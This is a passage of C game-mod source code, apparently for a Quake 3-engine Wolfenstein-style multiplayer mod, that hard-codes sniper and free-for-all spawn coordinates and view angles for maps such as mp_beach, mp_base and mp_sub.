deathmatchspawn[0]= -2308;
deathmatchspawn[1]= 4077;
deathmatchspawn[2]= 517;
deathmatchangles[1]= -45;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -2205;
deathmatchspawn[1]= 4055;
deathmatchspawn[2]= 517;
deathmatchangles[1]= -45;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -2249;
deathmatchspawn[1]= 4012;
deathmatchspawn[2]= 517;
deathmatchangles[1]= -45;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -2123;
deathmatchspawn[1]= 3976;
deathmatchspawn[2]= 517;
deathmatchangles[1]= -45;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= -2170;
deathmatchspawn[1]= 3932;
deathmatchspawn[2]= 517;
deathmatchangles[1]= -45;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -2071;
deathmatchspawn[1]= 3921;
deathmatchspawn[2]= 517;
deathmatchangles[1]= -45;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -2115;
deathmatchspawn[1]= 3879;
deathmatchspawn[2]= 517;
deathmatchangles[1]= -45;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= -2336;
deathmatchspawn[1]= 4193;
deathmatchspawn[2]= 513;
deathmatchangles[1]= -45;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= -2384;
deathmatchspawn[1]= 4148;
deathmatchspawn[2]= 513;
deathmatchangles[1]= -45;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= -2442;
deathmatchspawn[1]= 4210;
deathmatchspawn[2]= 506;
deathmatchangles[1]= -45;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= -2394;
deathmatchspawn[1]= 4261;
deathmatchspawn[2]= 506;
deathmatchangles[1]= -45;
level.BlueSniperSpawnPoint = 0;
}
}
}
if (!Q_stricmp(mapName, "rocket")){
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -960;
deathmatchspawn[2]= 24;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -895;
deathmatchspawn[2]= 24;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -829;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -766;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -702;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -639;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -61;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -128;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -190;
deathmatchspawn[2]= 24;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -254;
deathmatchspawn[2]= 24;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -322;
deathmatchspawn[2]= 24;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= 3024;
deathmatchspawn[1]= -383;
deathmatchspawn[2]= 24;
deathmatchangles[1]= -180;
level.BlueSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "trainyard")){
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= 2080;
deathmatchspawn[1]= -1107;
deathmatchspawn[2]= 40;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= 2080;
deathmatchspawn[1]= -1050;
deathmatchspawn[2]= 40;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= 1056;
deathmatchspawn[1]= 183;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= 1278;
deathmatchspawn[1]= 134;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= 2078;
deathmatchspawn[1]= -991;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= 2078;
deathmatchspawn[1]= -933;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= 1343;
deathmatchspawn[1]= 135;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= 1490;
deathmatchspawn[1]= 135;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= 2078;
deathmatchspawn[1]= -1431;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= 2078;
deathmatchspawn[1]= -1376;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= 1124;
deathmatchspawn[1]= 423;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= 1188;
deathmatchspawn[1]= 422;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 12){
deathmatchspawn[0]= 2077;
deathmatchspawn[1]= -1315;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 13){
deathmatchspawn[0]= 2077;
deathmatchspawn[1]= -1258;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 14){
deathmatchspawn[0]= 1254;
deathmatchspawn[1]= 423;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 15){
deathmatchspawn[0]= 1308;
deathmatchspawn[1]= 424;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 0;
level.BlueSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "tram")){
if (level.flagteam == TEAM_BLUE){
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -214;
deathmatchspawn[1]= 348;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= -145;
deathmatchspawn[1]= 348;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -217;
deathmatchspawn[1]= 185;
deathmatchspawn[2]= 816;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -217;
deathmatchspawn[1]= 17;
deathmatchspawn[2]= 816;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -38;
deathmatchspawn[1]= 14;
deathmatchspawn[2]= 838;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= -38;
deathmatchspawn[1]= 182;
deathmatchspawn[2]= 838;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -39;
deathmatchspawn[1]= 91;
deathmatchspawn[2]= 838;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -216;
deathmatchspawn[1]= 96;
deathmatchspawn[2]= 816;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= -125;
deathmatchspawn[1]= 187;
deathmatchspawn[2]= 830;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= -123;
deathmatchspawn[1]= -24;
deathmatchspawn[2]= 821;
deathmatchangles[1]= -90;
level.BlueSniperSpawnPoint = 0;
}
}else{
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -3224;
deathmatchspawn[1]= 167;
deathmatchspawn[2]= -487;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= -3224;
deathmatchspawn[1]= 221;
deathmatchspawn[2]= -487;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -3152;
deathmatchspawn[1]= 221;
deathmatchspawn[2]= -487;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -3152;
deathmatchspawn[1]= 167;
deathmatchspawn[2]= -487;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -3071;
deathmatchspawn[1]= 167;
deathmatchspawn[2]= -487;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= -3071;
deathmatchspawn[1]= 218;
deathmatchspawn[2]= -430;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -3102;
deathmatchspawn[1]= -287;
deathmatchspawn[2]= -615;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -3041;
deathmatchspawn[1]= -287;
deathmatchspawn[2]= -615;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= -3041;
deathmatchspawn[1]= -208;
deathmatchspawn[2]= -615;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= -3098;
deathmatchspawn[1]= -210;
deathmatchspawn[2]= -615;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= -3222;
deathmatchspawn[1]= -110;
deathmatchspawn[2]= -615;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= -3166;
deathmatchspawn[1]= -110;
deathmatchspawn[2]= -615;
deathmatchangles[1]= 0;
level.BlueSniperSpawnPoint = 0;
}
}
}
}
VectorCopy( deathmatchspawn, spawn_origin );
VectorCopy( deathmatchangles, spawn_angles );
}
/*
=======================
FreeForAllSpawnpt
+Supported Maps+
-Beach
-Base
-Assault
-Sub
-Castle
-Destruction
-Depot
-Village
-xlabs
-boss2
=======================
*/
void FreeForAllSpawnpt(gentity_t *ent, vec3_t spawn_origin, vec3_t spawn_angles){
vec3_t deathmatchangles, deathmatchspawn;
char mapName[MAX_QPATH];
if (ent->client->sess.sessionTeam == TEAM_SPECTATOR)
return;
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
deathmatchangles[0]=0;
deathmatchangles[2]=0;//i think this will fix the upsidedown heads
//if they arnt on the axis make them that way
if(ent->client->sess.sessionTeam == TEAM_BLUE)
ent->client->sess.sessionTeam = TEAM_RED;
level.DMspawnpoint++;//add 1 every time its called
ent->client->pers.spawnNum++;//add one here so we can turn off the telefrag
if (!Q_stricmp(mapName, "mp_beach")){
if (level.DMspawnpoint==0){
deathmatchspawn[0]=2797;
deathmatchspawn[1]=2640;
deathmatchspawn[2]=536;
deathmatchangles[1]=0;
}else if (level.DMspawnpoint==1){
deathmatchspawn[0]=3723;
deathmatchspawn[1]=1903;
deathmatchspawn[2]=536;
deathmatchangles[1]=0;
}else if (level.DMspawnpoint==2){
deathmatchspawn[0]=2582;
deathmatchspawn[1]=1641;
deathmatchspawn[2]=920;
deathmatchangles[1]=-90;
}else if (level.DMspawnpoint==3){
deathmatchspawn[0]=3468;
deathmatchspawn[1]=2047;
deathmatchspawn[2]=920;
deathmatchangles[1]=-90;
}else if (level.DMspawnpoint==4){
deathmatchspawn[0]=2956;
deathmatchspawn[1]=3161;
deathmatchspawn[2]=920;
deathmatchangles[1]=-90;
}else if (level.DMspawnpoint==5){
deathmatchspawn[0]=2681;
deathmatchspawn[1]=3584;
deathmatchspawn[2]=624;
deathmatchangles[1]=-180;
}else if (level.DMspawnpoint==6){
deathmatchspawn[0]=2789;
deathmatchspawn[1]=4128;
deathmatchspawn[2]=624;
deathmatchangles[1]=-137;
}else if (level.DMspawnpoint==7){
deathmatchspawn[0]=1434;
deathmatchspawn[1]=3880;
deathmatchspawn[2]=616;
deathmatchangles[1]=-90;
}else if (level.DMspawnpoint==8){
deathmatchspawn[0]=2135;
deathmatchspawn[1]=2185;
deathmatchspawn[2]=557;
deathmatchangles[1]=-180;
}else if (level.DMspawnpoint==9){
deathmatchspawn[0]=2434;
deathmatchspawn[1]=2941;
deathmatchspawn[2]=664;
deathmatchangles[1]=0;
}else if (level.DMspawnpoint==10){
deathmatchspawn[0]=2744;
deathmatchspawn[1]=3013;
deathmatchspawn[2]=920;
deathmatchangles[1]=90;
}else if (level.DMspawnpoint==11){
deathmatchspawn[0]=2413;
deathmatchspawn[1]=2989;
deathmatchspawn[2]=1176;
deathmatchangles[1]=45;
}else if (level.DMspawnpoint==12){
deathmatchspawn[0]=3940;
deathmatchspawn[1]=3136;
deathmatchspawn[2]=536;
deathmatchangles[1]=-180;
}else if (level.DMspawnpoint==13){
deathmatchspawn[0]=2603;
deathmatchspawn[1]=1951;
deathmatchspawn[2]=472;
deathmatchangles[1]=-37;
}else if (level.DMspawnpoint==14){
deathmatchspawn[0]=3536;
deathmatchspawn[1]=1905;
deathmatchspawn[2]=536;
deathmatchangles[1]=-180;
}else if (level.DMspawnpoint==15){
deathmatchspawn[0]=3703;
deathmatchspawn[1]=1619;
deathmatchspawn[2]=696;
deathmatchangles[1]=0;
}else if (level.DMspawnpoint==16){
deathmatchspawn[0]=2440;
deathmatchspawn[1]=2842;
deathmatchspawn[2]=1176;
deathmatchangles[1]=-45;
}else if (level.DMspawnpoint==17){
deathmatchspawn[0]=2385;
deathmatchspawn[1]=2293;
deathmatchspawn[2]=920;
deathmatchangles[1]=-45;
}else if (level.DMspawnpoint==18){
deathmatchspawn[0]=3234;
deathmatchspawn[1]=1160;
deathmatchspawn[2]=1176;
deathmatchangles[1]=-180;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "mp_base")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= 1023;
deathmatchspawn[1]= -147;
deathmatchspawn[2]= 32;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= -380;
deathmatchspawn[1]= -620;
deathmatchspawn[2]= 56;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= -2209;
deathmatchspawn[1]= -1529;
deathmatchspawn[2]= 329;
deathmatchangles[1]= 44;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= -960;
deathmatchspawn[1]= -1244;
deathmatchspawn[2]= 416;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= -549;
deathmatchspawn[1]= -740;
deathmatchspawn[2]= 320;
deathmatchangles[1]= 45;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= 1183;
deathmatchspawn[1]= -190;
deathmatchspawn[2]= 424;
deathmatchangles[1]= 136;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= 383;
deathmatchspawn[1]= 160;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= 1447;
deathmatchspawn[1]= 1962;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= -2626;
deathmatchspawn[1]= -557;
deathmatchspawn[2]= 310;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= -2687;
deathmatchspawn[1]= -1373;
deathmatchspawn[2]= 319;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= -2395;
deathmatchspawn[1]= 2396;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -42;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= -2372;
deathmatchspawn[1]= 2369;
deathmatchspawn[2]= 248;
deathmatchangles[1]= -43;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= -1753;
deathmatchspawn[1]= 1494;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -51;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= -768;
deathmatchspawn[1]= 2210;
deathmatchspawn[2]= 24;
deathmatchangles[1]= -93;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= 1554;
deathmatchspawn[1]= 3010;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 178;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= 2437;
deathmatchspawn[1]= 2437;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 1;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= 3009;
deathmatchspawn[1]= 2314;
deathmatchspawn[2]= 88;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= 2461;
deathmatchspawn[1]= 1566;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 178;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= 111;
deathmatchspawn[1]= 2745;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -91;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= -1807;
deathmatchspawn[1]= -249;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 160;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "mp_assault")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= -2400;
deathmatchspawn[1]= -148;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 91;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= -2471;
deathmatchspawn[1]= 921;
deathmatchspawn[2]= 440;
deathmatchangles[1]= -41;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= -1243;
deathmatchspawn[1]= 925;
deathmatchspawn[2]= 56;
deathmatchangles[1]= -119;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= -905;
deathmatchspawn[1]= -166;
deathmatchspawn[2]= 440;
deathmatchangles[1]= 137;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= 300;
deathmatchspawn[1]= 2014;
deathmatchspawn[2]= 56;
deathmatchangles[1]= -47;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= 1266;
deathmatchspawn[1]= 739;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 146;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= 1472;
deathmatchspawn[1]= 764;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= 3178;
deathmatchspawn[1]= -187;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 87;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= 3796;
deathmatchspawn[1]= -191;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 93;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= 4260;
deathmatchspawn[1]= -208;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= 4243;
deathmatchspawn[1]= -433;
deathmatchspawn[2]= 536;
deathmatchangles[1]= 136;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= 3772;
deathmatchspawn[1]= -482;
deathmatchspawn[2]= 472;
deathmatchangles[1]= 125;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= 3762;
deathmatchspawn[1]= 1602;
deathmatchspawn[2]= 404;
deathmatchangles[1]= 149;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= 3799;
deathmatchspawn[1]= 2556;
deathmatchspawn[2]= 404;
deathmatchangles[1]= -135;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= 3764;
deathmatchspawn[1]= 4945;
deathmatchspawn[2]= 622;
deathmatchangles[1]= -114;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= 2835;
deathmatchspawn[1]= 3601;
deathmatchspawn[2]= 792;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= 3540;
deathmatchspawn[1]= 3038;
deathmatchspawn[2]= 72;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= 1560;
deathmatchspawn[1]= 3192;
deathmatchspawn[2]= -147;
deathmatchangles[1]= -45;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= 1216;
deathmatchspawn[1]= 2601;
deathmatchspawn[2]= -535;
deathmatchangles[1]= -87;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= 1968;
deathmatchspawn[1]= 2270;
deathmatchspawn[2]= -535;
deathmatchangles[1]= 91;
}else if(level.DMspawnpoint == 20){
deathmatchspawn[0]= 815;
deathmatchspawn[1]= 1793;
deathmatchspawn[2]= -535;
deathmatchangles[1]= 44;
}else if(level.DMspawnpoint == 21){
deathmatchspawn[0]= 957;
deathmatchspawn[1]= 1782;
deathmatchspawn[2]= -87;
deathmatchangles[1]= 128;
}else if(level.DMspawnpoint == 22){
deathmatchspawn[0]= -640;
deathmatchspawn[1]= 2749;
deathmatchspawn[2]= -663;
deathmatchangles[1]= -40;
}else if(level.DMspawnpoint == 23){
deathmatchspawn[0]= -1824;
deathmatchspawn[1]= 2126;
deathmatchspawn[2]= -535;
deathmatchangles[1]= -89;
}else if(level.DMspawnpoint == 24){
deathmatchspawn[0]= -1055;
deathmatchspawn[1]= 1167;
deathmatchspawn[2]= -535;
deathmatchangles[1]= 91;
}else if(level.DMspawnpoint == 25){
deathmatchspawn[0]= -1614;
deathmatchspawn[1]= 755;
deathmatchspawn[2]= -241;
deathmatchangles[1]= 136;
}else if(level.DMspawnpoint == 26){
deathmatchspawn[0]= 3531;
deathmatchspawn[1]= 2765;
deathmatchspawn[2]= 56;
deathmatchangles[1]= -135;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "mp_sub")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= -604;
deathmatchspawn[1]= 2553;
deathmatchspawn[2]= 504;
deathmatchangles[1]= 3;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= -603;
deathmatchspawn[1]= 2042;
deathmatchspawn[2]= 504;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= 1283;
deathmatchspawn[1]= 3455;
deathmatchspawn[2]= 504;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= 626;
deathmatchspawn[1]= 3456;
deathmatchspawn[2]= 504;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= 621;
deathmatchspawn[1]= 3456;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -89;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= 1277;
deathmatchspawn[1]= 3454;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= 1512;
deathmatchspawn[1]= 2483;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 147;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= 1489;
deathmatchspawn[1]= 2241;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -177;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= 1475;
deathmatchspawn[1]= 1729;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 178;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= 409;
deathmatchspawn[1]= 1983;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= -407;
deathmatchspawn[1]= 1493;
deathmatchspawn[2]= 408;
deathmatchangles[1]= -50;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= -92;
deathmatchspawn[1]= 481;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -134;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= -846;
deathmatchspawn[1]= -45;
deathmatchspawn[2]= 512;
deathmatchangles[1]= -41;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= -481;
deathmatchspawn[1]= -830;
deathmatchspawn[2]= 512;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= 1030;
deathmatchspawn[1]= 504;
deathmatchspawn[2]= 512;
deathmatchangles[1]= -177;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= 190;
deathmatchspawn[1]= 574;
deathmatchspawn[2]= 680;
deathmatchangles[1]= 1;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= 1178;
deathmatchspawn[1]= 81;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -89;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= 563;
deathmatchspawn[1]= -316;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -50;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= -736;
deathmatchspawn[1]= -641;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= 1242;
deathmatchspawn[1]= -1241;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 132;
}else if(level.DMspawnpoint == 20){
deathmatchspawn[0]= 1968;
deathmatchspawn[1]= -1573;
deathmatchspawn[2]= 502;
deathmatchangles[1]= 138;
}else if(level.DMspawnpoint == 21){
deathmatchspawn[0]= 2512;
deathmatchspawn[1]= -824;
deathmatchspawn[2]= 518;
deathmatchangles[1]= -138;
}else if(level.DMspawnpoint == 22){
deathmatchspawn[0]= 2548;
deathmatchspawn[1]= -647;
deathmatchspawn[2]= 514;
deathmatchangles[1]= 134;
}else if(level.DMspawnpoint == 23){
deathmatchspawn[0]= 1964;
deathmatchspawn[1]= -9;
deathmatchspawn[2]= 512;
deathmatchangles[1]= -38;
}else if(level.DMspawnpoint == 24){
deathmatchspawn[0]= 960;
deathmatchspawn[1]= 1805;
deathmatchspawn[2]= 342;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 25){
deathmatchspawn[0]= 1332;
deathmatchspawn[1]= 2483;
deathmatchspawn[2]= 500;
deathmatchangles[1]= 51;
}else if(level.DMspawnpoint == 26){
deathmatchspawn[0]= 1397;
deathmatchspawn[1]= 602;
deathmatchspawn[2]= 344;
deathmatchangles[1]= -42;
}else if(level.DMspawnpoint == 27){
deathmatchspawn[0]= 1998;
deathmatchspawn[1]= 49;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 136;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "mp_castle")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= 924;
deathmatchspawn[1]= -81;
deathmatchspawn[2]= -353;
deathmatchangles[1]= 128;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= -451;
deathmatchspawn[1]= 476;
deathmatchspawn[2]= -303;
deathmatchangles[1]= -86;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= 191;
deathmatchspawn[1]= 471;
deathmatchspawn[2]= -303;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= -522;
deathmatchspawn[1]= 743;
deathmatchspawn[2]= -239;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= -529;
deathmatchspawn[1]= 1052;
deathmatchspawn[2]= -239;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= -297;
deathmatchspawn[1]= 1601;
deathmatchspawn[2]= 56;
deathmatchangles[1]= -39;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= -132;
deathmatchspawn[1]= 1226;
deathmatchspawn[2]= 440;
deathmatchangles[1]= -88;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= -535;
deathmatchspawn[1]= -801;
deathmatchspawn[2]= 440;
deathmatchangles[1]= 56;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= 269;
deathmatchspawn[1]= -334;
deathmatchspawn[2]= 440;
deathmatchangles[1]= 135;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= -538;
deathmatchspawn[1]= 475;
deathmatchspawn[2]= 440;
deathmatchangles[1]= -42;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= 1545;
deathmatchspawn[1]= 875;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 134;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= 1091;
deathmatchspawn[1]= 745;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= 632;
deathmatchspawn[1]= 1656;
